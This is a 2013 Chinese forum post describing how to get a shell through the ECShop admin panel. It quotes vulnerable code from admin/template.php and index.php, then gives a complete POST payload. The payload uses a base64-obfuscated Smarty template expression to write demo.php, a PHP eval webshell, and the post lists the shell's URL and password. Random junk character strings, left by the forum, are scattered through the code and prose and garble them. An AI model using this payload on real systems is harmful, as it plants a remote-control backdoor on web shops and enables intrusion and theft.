找回密码
 立即注册
查看: 2931|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板: v; a( A1 T, Y, Q$ ^

; J4 Z; z6 v% S! a1 I, o而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了9 ^6 o, r  K1 A3 p$ M, g  G
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
, B" C6 x/ j" [8 ^7 h! a- nadmin/template.php9 a8 t6 X8 J4 c" d
  Q; c4 Y2 l) c: v: M
1 if ($_REQUEST['act'] == 'update_library') : D6 w# \$ @# c: g$ B$ E- k; M) P
; d# b' h/ W3 U. l
2   ( P+ d6 Z% X. ?! c  n7 a5 R

' o0 w! L9 f! V& j8 c3 {
+ y5 {* L/ b  f5 A+ |1 i! d, q: j. }+ T9 G& g
4     check_authz_json('library_manage');
4 D" j* \3 ?6 l2 v$ |. J, b" t& @) L- i! c
5   " j3 q7 Z  c4 x2 C' m+ j

/ m- {7 m  W  V- ]* ^. k6 T% J) I+ S6     $html = stripslashes(json_str_iconv($_POST['html']));
  f0 r3 }% F5 Z6 L: s: R! V2 R- Y/ {$ C  Q' _0 m' X
7   
. @9 Z% D/ t& Y) `. {; g( m/ h1 T. R; Q3 N: ?
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
. f+ ~  ]# a% L% W2 r! ]  q3 ^' F# t. h/ R5 j- S- T, O
9   0 N% }) K) o. \+ `+ P$ x3 k
' D' }6 V6 n- ~' j' ~, |
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 3 {! Q4 D: N1 E* ^, i3 o
9 ^6 q. W6 O; z' y% X
11   
% X) k/ }" W$ |# o* I7 U: W% s2 j
& A" B1 t  K) _  S0 G+ ?12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
, Q' h: E- v, D* Y: C9 {3 b1 _  x' ]" |
13   
8 b' g" f" Q8 S5 W  x# q# u4 }
9 Y# ]5 ?! q- L' ~) d( ]  p7 m14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
, Q7 n; x, h: h8 S. v
. e. y4 j, O6 A15     { 5 u' L" f" g! h
3 n: b+ g% S! H' Q
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
3 K& D4 y) P$ h2 T1 z, T( B& e
7 H2 j* N0 [& r) d17         make_json_result('', $_LANG['update_lib_success']); 4 x0 l- `  B% n6 O2 F3 ^7 y" c5 g. K

, c0 d! B! s4 @6 m" ~! X5 t18     } ; N+ d- z1 A& K1 y

3 {6 z3 ~5 {7 `. @' O19     else
  [5 j/ Y! M0 G% u! z1 }' B8 P2 h$ J2 D/ H: H
20     {
; Y/ G( ]  [* I/ d& r6 E) c; c% K! N
1 b" L8 t' y: f& B7 i# W21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 7 l3 q/ [, o/ p$ ?

  o8 W# m8 H" o0 N% D) S. }; o' r' w22     } ' E* A# C: R2 X, q/ [

( d" \/ R2 w0 }' [8 R: S1 k23 }
' S! w& S: v3 U3 @# B: N% q2 |( i/ I- z8 @4 A
那么找个比较方便调用了模板的文件) T, C* l" D+ N' s% \
index.php( ?& j$ Q5 l, z* A
) d; q" [0 x+ C3 p" ~: q
1 if ($act == 'cat_rec') # n( q9 \& \9 t' j
9 [) a) s2 O& R7 x7 \
2   
* A( _" G5 e$ [0 K2 {( l) O5 ?+ W8 N5 I
3 { ! u7 B& x' A, Z" D# B. P% m: d9 m% p

# c; q2 v9 g" n( g4   
% H+ Z( |8 z' d
8 f0 C1 u. `! U  I9 s5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); # U$ P/ Z$ K" ~

- r+ X8 M& u1 @2 }5 L8 V0 S6   
0 ^' e# v, j1 g' |0 E7 p1 z- A8 C" q& R  S; O$ W
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 1 H* j0 H/ X: {4 j& I

9 P  l% }* `% V8   
" ], y/ B, Z9 c2 S4 J% I3 t, d2 I- z2 z: g. x& U  T
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; . H( K4 A! J4 B& S- ^
! c% O( U$ `$ d. f. D
10   / q$ V+ B+ c# a4 w2 G+ m
+ q9 t  o: @) t4 Q# F- J+ p7 k* t
11     include_once('includes/cls_json.php');
& c5 P6 H9 r2 A+ c& V- i1 b) ]3 G$ U* ?+ f- Y; F
12   
- h) k  N2 D4 Z, ]" |! |6 q2 h& ]+ h! c
13     $json = new JSON; + d( l  v8 J7 t% ~; q, d( Q2 x
) {6 B, n; e# `. ^* q' _* I$ `
14   # A+ B( _+ ~, y  P  q
8 U/ u" T3 ]4 m5 P1 ^$ ~" c; h
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 6 s3 T7 J6 M0 O& ~1 U% `4 a; M& C
" e: a# o: m  x/ T1 s1 }
16   
3 }6 d! r7 F( ?" S! H
. F' f6 J, I8 T! e! t' p17     $children = get_children($cat_id); ; V5 c2 \& |/ [+ J0 d# v; g

. N+ C4 Y% g& h1 R+ `. C18   
9 U( Z  u* y6 `* K- R. C% n, W: K2 Y+ o2 g
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 / [. i- B  a2 B. O
/ U2 p3 t& y, @6 v; X: B
20   
! H# D: a- L8 C# U# G1 F/ n  ~
8 X2 ]/ K: R# O# `2 {4 G21     $smarty->assign('cat_rec_sign', 1); ) [! y; [, g, s" ?: b: v
( F- I3 _- q8 I! A
22   9 D, B' z+ Q# y1 }3 t

9 c9 I* Z" l( G: c# Z' O23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 0 R) C; \; V+ T! u

  D8 A( ^; x; a24   . b/ m! e5 |9 w" s+ B. f

- k! \, t* [. o" D25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 1 W  i8 C6 b" D/ T7 `4 t
7 [2 {/ J/ R5 J, _
26   / |2 m- p" _( W4 z$ `

# z7 _6 Q! Q% ~7 d) q; {1 ?27         echo $rec_array[$rec_type];
* c9 N2 p( k1 y6 k/ ~
6 R: Z7 `, U5 T- z0 t28   
' Q! q" H: F) }! \
2 Q. w6 ?& q* _7 Z7 C* H3 A29     die($json->encode($result)); * F" R4 J' ^8 R/ c7 B

6 S6 C" {5 g/ I/ I6 G30   4 H$ {2 }3 M. D0 `) }% ?
5 X0 ~( P" d) h( z- _) K- y
31 }
& c  f$ p7 }' Y) _3 a! W8 \- `5 |# l: z# b
那么就有利用方法了
4 x  K1 a+ Q" n0 lpost包到http://localhost/ec/admin/template.php?act=update_library
: _( k4 J! k  A5 mPost内容:
* @* G1 v. o; \7 ~$ b: }+ M/ u
! f  d9 G6 x; \2 d3 N  i2 t2 W' X- R0 i. W: e8 s2 K% H
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 1 t9 s0 J. {3 N! L# H" p

% C6 U* p4 b6 Q9 ]7 ^" M* E然后访问http://localhost/ec/index.php?act=cat_rec
2 B: _9 Y0 x7 q* I4 k3 {. q2 L9 K: F* p* Q) l
shel地址:http://localhost/ec/demo.php7 ^% y9 o2 e- m' [
密码c. O( W5 o5 c& R5 Q4 r% f
/ A9 {5 J( m9 w/ k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表